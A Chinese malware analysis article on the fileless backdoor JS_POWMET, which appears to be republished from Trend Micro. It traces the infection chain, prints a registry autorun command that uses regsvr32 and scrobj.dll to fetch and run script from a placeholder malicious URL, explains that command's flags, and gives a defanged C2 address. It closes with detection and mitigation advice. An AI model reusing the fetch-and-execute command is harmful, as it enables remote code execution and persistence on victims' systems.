对新型无文件后门 JS_POWMET 的简单分析

简介: 本文讲的是对新型无文件后门 JS_POWMET 的简单分析,由于高明的网络犯罪分子会在不留下痕迹的情况下进行攻击,因此不留痕迹的恶意软件将成为未来最常见的攻击方法,而且这种苗头已经开始显现了。比如,今年6月,安全研究人员就发现了一个新的无文件勒索病毒, 被称为“Sorebrect”,它将恶意代码注入到目标系统的合法进程svchost.exe中, 然后自毁以躲避检测。
本文讲的是 对新型无文件后门 JS_POWMET 的简单分析

踏雪无痕——对新型无文件后门 JS_POWMET 的简单分析

由于高明的网络犯罪分子会在不留下痕迹的情况下进行攻击,因此不留痕迹的恶意软件将成为未来最常见的攻击方法,而且这种苗头已经开始显现了。比如,今年6月,安全研究人员就发现了一个新的无文件勒索病毒, 被称为“Sorebrect”,它将恶意代码注入到目标系统的合法进程svchost.exe中, 然后自毁以躲避检测。

然而,许多所谓的无文件恶意攻击只是在进入用户系统时才是无文件的,而在最终执行其有效载荷时还是会暴露自己,所以要想使用完全的无文件恶意软件攻击是很难办到的。不过,随着黑客技术的不断提高,趋势科技的研究人员最近还是发现了这么一个完全无文件的恶意攻击木马,并将其命名为JS_POWMET(由趋势科技检测为JS_POWMET.DE)。JS_POWMET通过自动启动注册表程序开始攻击,然后通过使用完全无文件的感染链完成整个攻击过程,该过程及其隐蔽连专门进行安全分析的软件工程师都难以察觉到。

趋势科技云安全智能防护网络(TrendMicro Smart Protection Network,SPN)的监测数据显示,亚太地区是目前被JS_POWMET影响最多的地方,占了整个感染总量的近90%。

攻击细节

以下是JS_POWMET的整个感染过程:

踏雪无痕——对新型无文件后门 JS_POWMET 的简单分析

虽然确切的感染方式目前仍然不确定,但根据推测,JS_POWMET很可能是在用户访问恶意网站时下载的,或者是伪装成其他软件被下载的。不过有一点是清楚地,下载的注册表已经在下载时被更改了。

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
COM+ = “regsvr32 /s /n /u /i:{Malicious URL, downloads JS_POWMET} scrobj.dll”

通过自动启动注册表项(如上图所示)下载JS_POWMET。

以下是“regsvr32”使用的参数说明:

/ s: regsvr32的静默选项

/ n:告诉regsvr32不要使用DllRegisterServer

/ u :取消注册服务器/对象

/ i :用于将可选参数(即URL)传递给DLLinstall

scrobj.dll:Microsoft的脚本组件正在运行

通过这种方法,可以将一个URL作为参数赋予了regsvr32,这将使得regsvr32能够获取URL上找到的文件(XML与恶意JavaScript)。由于这个例程,regsvr32将能够执行任意脚本,而不会在受害者的设备或系统上保存XML文件。特别是,当被攻击的设备启动时,它将自动从其Command&Control(C&C)服务器下载恶意文件。

一旦JS_POWMET被执行,它将下载另一个称为TROJ_PSINJECT的文件(由趋势科技检测为TROJ_PSINJECT.A)。该文件是在Powershell的过程下运行的Powershell脚本。 TROJ_PSINJECT将连接到以下网站:

hxxps://bogerando[.]ru/favicon

这允许TROJ_PSINJECT下载一个名为favicon的普通文件,然后,使用ReflectivePELoader将该favicon文件解密并注入其进程,该ReflectivePELoader用于注入EXE / DLL文件。

要消除恶意软件代码,可以通过使用以下技术实现。首先,恶意软件包含Base64字符串,它将使用RC4密钥(硬编码到恶意软件代码)进行解码和解密。生成的解密字符串将是GZIP压缩的字符串,该字符串由恶意软件本身使用GZIP解压缩例程进行解压缩。这将导致ReflectivePELoader函数的代码被用于加载解密的下载文件。

Favicon也将使用上述RC4密钥进行解密,导致称为BKDR_ANDROM(趋势科技检测为BKDR_ANDROM.ETIN)的恶意DLL文件的发生,这部分过程也是无文件的。该文件将不会保存到受害者的设备中,而是注入到powershell.exe进程中。所有这些例程将由使用PowerShell命令的恶意软件执行。下图就是显示导致混淆过程的TROJ_PSINJECT代码:

踏雪无痕——对新型无文件后门 JS_POWMET 的简单分析

如果在系统中运行该文件,BKDR_ANDROM将会终止powershell.exe。另外还会收集以下数据:

硬盘序列号
操作系统版本
本地IP地址
管理员权限

恶意软件会将注册表项添加到系统中,以确保它始终在启动过程中被执行。自动启动注册表项能够解码Base64编码的PowerShell命令,该命令会被用于解密,产生BKDR_ANDROM的恶意代码的加密二进制数据(在恶意软件添加的注册表中也能找到)。在解密过程之后,它将执行解密的恶意代码。虽然这种情况下的最终有效载荷由BKDR_ANDROM的常规程序组成,但是未来的恶意软件开发者可能会将其他恶意软件用作有效载荷。

如何检测无文件恶意软件?

无痕迹攻击已经成了未来攻击者的主打方向,其中最常见的方法是使用被盗的凭据,这样就可以伪装成公司的员工或者是用户来进行攻击,即使时候被发现,也怀疑不到攻击者头上,因为那些攻击行为全是员工或者是用户“自己”干的。攻击者现在可以利用内置的管理工具,如Powershell和PSExec,这些管理工具是每台Windows设备的标准配置。

踏雪无痕——对新型无文件后门 JS_POWMET 的简单分析

这个攻击策略有很多种叫法,比如:

1.Process Hollowing,Process Hollowing是现代恶意软件常用的一种进程创建技术,虽然在使用任务管理器之类的工具查看时,这些进程看起来是合法的,但是该进程的代码实际上已被恶意内容所替代。

2.劫持进程

3.远程代码执行

这种隐形的攻击对于窃取高价值的目标最有效,这与通过远程访问木马(RAT)对低价值,不受监控的资产进行内部网络访问是完全不同的。

在进行完前期的运行环境侦察后,攻击者可能会使用漏洞利用工具包来获取高价值资产。一旦找到攻击目标,他们可以将命令和控制有效载荷(如Meterpreter)注入合法的运行过程,例如Service Host-svchost.exe。然后,攻击者可以访问可获利的文件,继续进行数据的过滤。这种攻击的唯一痕迹存在于随机存取存储器(RAM)中,大多数杀毒和基于签名的检测方法都不能检测到它们。事实上,如果目标重新启动的话,所有的攻击痕迹就都不复存在了。攻击者可以随时将预先布置的任务留在系统上,或通过不受监控的目标先重新进入网络,并逐渐传播至关键目标。

识别无文件类型的攻击行为是所有安全检测工具的未来发展方向,本文我就举一个rapid7开发的insightIDR检测工具的例子,该团队将CounterTack公司研发的Digital DNA (DDNA) 技术整合到他们的安全产品中,该产品能对所需的内存进行逐一分析。这使分析师能够更深入地研究客户端点上的不同层次,并识别具有意想不到的功能的进程。

踏雪无痕——对新型无文件后门 JS_POWMET 的简单分析

使用Process Memory Analyzer,每个运行的进程都被可能被作为可疑功能被分析。如果进程执行可疑行为(如注册代码)或通过校验和查找导入的函数,都会被标记,并可以添加到InsightIDR中的调查时间表。在上图中,你会注意到,该功能将进程按风险排列,因此很容易挑出可能是Process Hollowing的异常进程。

总结

虽然JS_POWMET及其下载的其他文件在影响方面相对不是很严重,但是这种恶意软件的出现已经表明,网络犯罪分子将会尽一切可能避免被检测和分析。它还表明,即使不常见的无病毒恶意软件的感染方法也在不断发展。

缓解无病毒恶意软件影响的最有效的方法之一是通过基于容器的系统来限制对关键基础设施的访问,这些系统将端点与网络的最重要部分分开。对于这种特定的恶意软件,IT专业人员还可以查看禁用Powershell本身来帮助减轻JS_POWMET及其各种有效载荷的影响。




原文发布时间为:2017年8月6日
本文作者:xiaohui
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
3月前
|
Web App开发 监控 JavaScript
监控和分析 JavaScript 内存使用情况
【10月更文挑战第30天】通过使用上述的浏览器开发者工具、性能分析工具和内存泄漏检测工具,可以有效地监控和分析JavaScript内存使用情况,及时发现和解决内存泄漏、过度内存消耗等问题,从而提高JavaScript应用程序的性能和稳定性。在实际开发中,可以根据具体的需求和场景选择合适的工具和方法来进行内存监控和分析。
|
6月前
|
JavaScript API
深入探索fs.WriteStream:Node.js文件写入流的全面解析
深入探索fs.WriteStream:Node.js文件写入流的全面解析
|
4月前
|
JavaScript 前端开发 内存技术
js文件的入口代码及需要入口代码的原因
js文件的入口代码及需要入口代码的原因
61 0
|
3月前
|
JavaScript 前端开发 API
Vue.js与Angular的优劣分析
Vue.js和Angular都是非常流行的JavaScript框架,它们在构建现代Web应用程序方面各有优劣
121 64
|
1月前
|
JavaScript 前端开发 API
Next.js 实战 (六):如何实现文件本地上传
这篇文章介绍了在Next.js中如何实现文件上传到本地的方法。文章首先提到Next.js官方文档中没有提供文件上传的实例代码,因此开发者需要自行实现,通常有两种思路:使用Node.js原生上传或使用第三方插件如multer。接着,文章选择了使用Node.js原生上传的方式来讲解实现过程,包括如何通过哈希值命名文件、上传到指定目录以及如何分类文件夹。然后,文章展示了具体的实现步骤,包括编写代码来处理文件上传,并给出了代码示例。最后,文章通过一个效果演示说明了如何通过postman模拟上传文件,并展示了上传后的文件夹结构。
|
3月前
|
JavaScript
如何使用内存快照分析工具来分析Node.js应用的内存问题?
需要注意的是,不同的内存快照分析工具可能具有不同的功能和操作方式,在使用时需要根据具体工具的说明和特点进行灵活运用。
73 3
|
3月前
|
JavaScript 前端开发 安全
JavaScript与TypeScript的对比,分析了两者的特性及在实际项目中的应用选择
本文深入探讨了JavaScript与TypeScript的对比,分析了两者的特性及在实际项目中的应用选择。JavaScript以其灵活性和广泛的生态支持著称,而TypeScript通过引入静态类型系统,提高了代码的可靠性和可维护性,特别适合大型项目。文章还讨论了结合使用两种语言的优势,以及如何根据项目需求和技术背景做出最佳选择。
95 4
|
3月前
|
运维 监控 JavaScript
鸿蒙next版开发:分析JS Crash(进程崩溃)
在HarmonyOS 5.0中,JS Crash指未处理的JavaScript异常导致应用意外退出。本文详细介绍如何分析JS Crash,包括异常捕获、日志分析和典型案例,帮助开发者定位问题、修复错误,提升应用稳定性。通过DevEco Studio收集日志,结合HiChecker工具,有效解决JS Crash问题。
109 4
|
3月前
|
Web App开发 JavaScript 前端开发
使用 Chrome 浏览器的内存分析工具来检测 JavaScript 中的内存泄漏
【10月更文挑战第25天】利用 Chrome 浏览器的内存分析工具,可以较为准确地检测 JavaScript 中的内存泄漏问题,并帮助我们找出潜在的泄漏点,以便采取相应的解决措施。
496 9
|
3月前
|
JavaScript 前端开发 开发者
前端框架对比:Vue.js与Angular的优劣分析与选择建议
【10月更文挑战第27天】在前端开发领域,Vue.js和Angular是两个备受瞩目的框架。本文对比了两者的优劣,Vue.js以轻量级和易上手著称,适合快速开发小型到中型项目;Angular则由Google支持,功能全面,适合大型企业级应用。选择时需考虑项目需求、团队熟悉度和长期维护等因素。
95 1

热门文章

最新文章